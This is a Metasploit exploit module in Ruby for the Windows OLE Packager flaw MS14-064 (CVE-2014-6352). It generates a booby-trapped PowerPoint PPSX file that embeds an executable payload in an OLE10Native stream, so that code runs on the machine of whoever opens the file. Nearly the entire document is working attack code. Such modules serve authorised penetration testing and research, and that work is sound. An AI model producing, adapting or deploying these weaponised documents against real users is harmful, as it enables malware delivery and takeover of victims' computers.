##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
def initialize(info={})
super(update_info(info,
'Name' => "MS14-064 Microsoft Windows OLE Package Manager Code Execution",
'Description' => %q{
This module exploits a vulnerability found in Windows Object Linking and Embedding (OLE)
allowing arbitrary code execution, publicly exploited in the wild as MS14-060 patch bypass.
The Microsoft update tried to fix the vulnerability publicly known as "Sandworm". Platforms
such as Windows Vista SP2 all the way to Windows 8, Windows Server 2008 and 2012 are known
to be vulnerable. However, based on our testing, the most reliable setup is on Windows
platforms running Office 2013 and Office 2010 SP2. And please keep in mind that some other
setups such as using Office 2010 SP1 might be less stable, and sometimes may end up with a
crash due to a failure in the CPackage::CreateTempFileName function.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Haifei Li', # Vulnerability discovery
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
['CVE', '2014-6352'],
['MSB', 'MS14-064'],
['BID', '70690'],
['URL', 'http://blogs.mcafee.com/mcafee-labs/bypassing-microsofts-patch-sandworm-zero-day-even-editing-dangerous']
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'Platform' => 'win',
'Arch' => ARCH_X86,
'Targets' =>
[
['Windows 7 SP1 / Office 2010 SP2 / Office 2013', {}],
],
'Privileged' => false,
'DisclosureDate' => "Oct 21 2014",
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [true, 'The PPSX file', 'msf.ppsx'])
], self.class)
end
def exploit
print_status("Creating '#{datastore['FILENAME']}' file ...")
ole_stream = ole_packager
zip = zip_ppsx(ole_stream)
file_create(zip)
end
def zip_ppsx(ole_stream)
zip_data = {}
data_dir = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-6352', 'template_run_as_admin')
Dir["#{data_dir}/**/**"].each do |file|
unless File.directory?(file)
zip_data[file.sub(data_dir,'')] = File.read(file)
end
end
# add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
zip_data[file.sub(data_dir,'')] = File.read(file)
# put our own OLE streams
zip_data['/ppt/embeddings/oleObject1.bin'] = ole_stream
# create the ppsx
ppsx = Rex::Zip::Archive.new
zip_data.each_pair do |k,v|
ppsx.add_file(k,v)
end
ppsx.pack
end
def ole_packager
payload_name = "#{rand_text_alpha(4)}.exe"
file_info = [2].pack('v')
file_info << "#{payload_name}\x00"
file_info << "#{payload_name}\x00"
file_info << "\x00\x00"
extract_info = [3].pack('v')
extract_info << [payload_name.length + 1].pack('V')
extract_info << "#{payload_name}\x00"
p = generate_payload_exe
file = [p.length].pack('V')
file << p
append_info = [payload_name.length].pack('V')
append_info << Rex::Text.to_unicode(payload_name)
append_info << [payload_name.length].pack('V')
append_info << Rex::Text.to_unicode(payload_name)
append_info << [payload_name.length].pack('V')
append_info << Rex::Text.to_unicode(payload_name)
ole_data = file_info + extract_info + file + append_info
ole_contents = [ole_data.length].pack('V') + ole_data
ole = create_ole("\x01OLE10Native", ole_contents)
ole
end
def create_ole(stream_name, data)
ole_tmp = Rex::Quickfile.new('ole')
stg = Rex::OLE::Storage.new(ole_tmp.path, Rex::OLE::STGM_WRITE)
stm = stg.create_stream(stream_name)
stm << data
stm.close
directory = stg.instance_variable_get(:@directory)
directory.each_entry do |entry|
if entry.instance_variable_get(:@_ab) == 'Root Entry'
# 0003000C-0000-0000-c000-000000000046 # Packager
clsid = Rex::OLE::CLSID.new("\x0c\x00\x03\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x46")
entry.instance_variable_set(:@_clsId, clsid)
end
end
# write to disk
stg.close
ole_contents = File.read(ole_tmp.path)
ole_tmp.close
ole_tmp.unlink
ole_contents
end
end
